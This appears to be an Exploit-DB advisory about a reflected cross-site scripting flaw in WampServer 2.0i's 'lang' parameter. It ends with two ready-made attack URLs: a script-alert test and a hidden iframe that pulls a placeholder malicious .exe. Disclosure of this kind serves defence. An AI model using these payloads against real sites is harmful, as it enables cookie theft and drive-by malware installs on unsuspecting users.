WampServer 2.0i - 'lang' Cross-Site Scripting

EDB-ID:

33662




Platform:

Windows

Date:

2010-02-22


source: https://www.securityfocus.com/bid/38357/info

WampServer is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

WampServer 2.0i is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?lang=%3Cscript%3Ealert%28%22ZSL%20Testingz%22%29%3C/script%3E
http://www.example.com/index.php?lang=%3Ciframe%20height=%220%22%20width=%220%22%20frameborder=%220%22%20src=%22http://[evil .exe link]%22%3E%3C/iframe%3E